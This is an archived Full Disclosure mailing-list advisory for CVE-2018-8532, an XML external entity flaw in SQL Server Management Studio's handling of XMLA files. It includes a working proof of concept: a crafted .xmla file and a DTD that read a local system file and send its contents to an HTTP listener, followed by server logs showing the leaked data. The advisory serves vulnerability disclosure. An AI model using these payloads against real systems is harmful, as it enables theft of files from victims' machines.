CVE-2018-8532 / Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 / XML Injection

Related Vulnerabilities: CVE-2018-8532  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#31">By Date</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#31">By Thread</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">CVE-2018-8532 / Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 / XML Injection</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: hyp3rlinx &lt;apparitionsec () gmail com&gt;


<em>Date</em>: Fri, 12 Oct 2018 09:03:01 -0400


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  
<a rel="nofollow" href="http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt">http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt</a>
[+] ISR: ApparitionSec
[+] Zero Day Initiative Program



[Vendor]
www.microsoft.com


[Product]
SQL Server Management Studio 17.9
SQL Server Management Studio 18.0 (Preview 4)

SQL Server Management Studio is a software application first launched
with Microsoft SQL Server 2005 that is used for configuring, managing,
and administering
all components within Microsoft SQL Server. The tool includes both
script editors and graphical tools which work with objects and
features of the server.



[Vulnerability Type]
XML External Entity Injection



[CVE Reference]
CVE-2018-8532


[Security Issue]
This vulnerability allows remote attackers to disclose sensitive
information on vulnerable installations of Microsoft SQL Server
Management Studio.
User interaction is required to exploit this vulnerability in that the
target must visit a malicious page or open a malicious file.

The specific flaw exists within the handling of XMLA files. Due to the
improper restriction of XML External Entity (XXE) references, a
specially crafted
document specifying a URI causes the XML parser to access the URI and
embed the contents back into the XML document for further processing.
An attacker can leverage this vulnerability to disclose information in
the context of the current process.


[Exploit/POC]

1) python -m SimpleHTTPServer

2) "test.xmla"

&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE tastyexploits [
&lt;!ENTITY % file SYSTEM "C:\Windows\system.ini"&gt;
&lt;!ENTITY % dtd SYSTEM "<a rel="nofollow" href="http://127.0.0.1:8000/payload.dtd&quot;">http://127.0.0.1:8000/payload.dtd"</a>;&gt;
%dtd;]&gt;
&lt;pwn&gt;&amp;send;&lt;/pwn&gt;


3) "payload.dtd"

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!ENTITY % all "&lt;!ENTITY send SYSTEM '<a rel="nofollow" href="http://127.0.0.1:8000?%file;&amp;apos">http://127.0.0.1:8000?%file;&amp;apos</a>;&gt;"&gt;
%all;

Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET
/?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci]
HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET
/?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci]
HTTP/1.1" 200 -



[References]
<a rel="nofollow" href="https://www.zerodayinitiative.com/advisories/ZDI-18-1132/">https://www.zerodayinitiative.com/advisories/ZDI-18-1132/</a>
<a rel="nofollow" href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532</a>



[Network Access]
Remote



[Disclosure Timeline]
Notification: Trend Micro Zero Day Initiative Program
Vendor reply: Release of advisory patch Tuesday : October 9, 2018
October 10, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a>

</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#31">By Date</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="30"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#31">By Thread</a>
<a href="32"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>CVE-2018-8532 / Microsoft SQL Server Management Studio 17.9 / 18.0 Preview 4 / XML Injection</strong> <em>hyp3rlinx (Oct 16)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>